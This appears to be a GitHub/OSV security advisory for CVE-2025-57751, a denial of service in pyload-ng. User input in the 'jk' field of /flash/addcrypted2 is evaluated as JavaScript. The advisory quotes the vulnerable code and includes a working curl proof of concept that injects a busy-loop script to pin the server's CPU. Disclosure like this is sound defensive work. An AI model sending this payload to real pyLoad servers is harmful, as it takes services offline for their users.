CVE-2025-57751: Pyload ng Denial-of-Service Attack Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9gjj-6gj7-c4wj",
  "modified" : "2025-08-22T15:01:48Z",
  "published" : "2025-08-21T20:11:52Z",
  "aliases" : [ "CVE-2025-57751" ],
  "summary" : "Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs",
  "details" : "Dear Maintainers,\nI am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.\n\n### Summary\nThe `jk` parameter is received in pyLoad CNL Blueprint. Due to the lack of `jk` parameter verification, the `jk` parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.\n\n### Details\n- Endpoint: flash/addcrypted2\n- affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123\nhttps://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42\t\n\naffected code\n```python\n@bp.route(\"/flash/addcrypted2\", methods=[\"POST\"], endpoint=\"addcrypted2\")\n@local_check\ndef addcrypted2():\n    package = flask.request.form.get(\n        \"package\", flask.request.form.get(\"source\", flask.request.form.get(\"referer\"))\n    )\n    crypted = flask.request.form[\"crypted\"]\n    jk = flask.request.form[\"jk\"]\n    pack_password = flask.request.form.get(\"passwords\")\n\n    crypted = standard_b64decode(unquote(crypted.replace(\" \", \"+\")))\n    jk = eval_js(f\"{jk} f()\")\n\n```\n\n```python\ndef eval_js(script, es6=False):\n    if sys.version_info < (3, 12):\n        return (js2py.eval_js6 if es6 else js2py.eval_js)(script)\n    else:\n        return dukpy.evaljs(script)\n```\n\n### PoC\ndownload pyload and run locally, send the following request\n- PoC\n```shell\ncurl -X POST \"http://localhost:8000/flash/addcrypted2\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"crypted=SGVsbG8gd29ybGQ=\" \\\n  -d \"passwords=pyload\" \\\n  -d \"jk=const start = Date.now();%0Awhile (Date.now() - start < 30_000) {} //\"\n```\nThe 30_000 can be modified to any large value.\n\n\n### Impact\nSystem resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.\n\nUse the following command to check CPU usage\n```shell\ntop -pid $(pgrep -f \"pyload.__main__\") \n```\nor\n```shell\ntop -pid $(pgrep -f \"pyload\") \n```\n\nThe CPU is fully occupied\n<img width=\"1209\" height=\"134\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e\" />\n\nweb-ui unresponsive\n<img width=\"1209\" height=\"496\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd\" />",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pyload-ng"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.5.0b3.dev92"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pyload/pyload/security/advisories/GHSA-9gjj-6gj7-c4wj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-57751"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pyload/pyload"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-08-21T20:11:52Z",
    "nvd_published_at" : "2025-08-21T19:15:43Z"
  }
}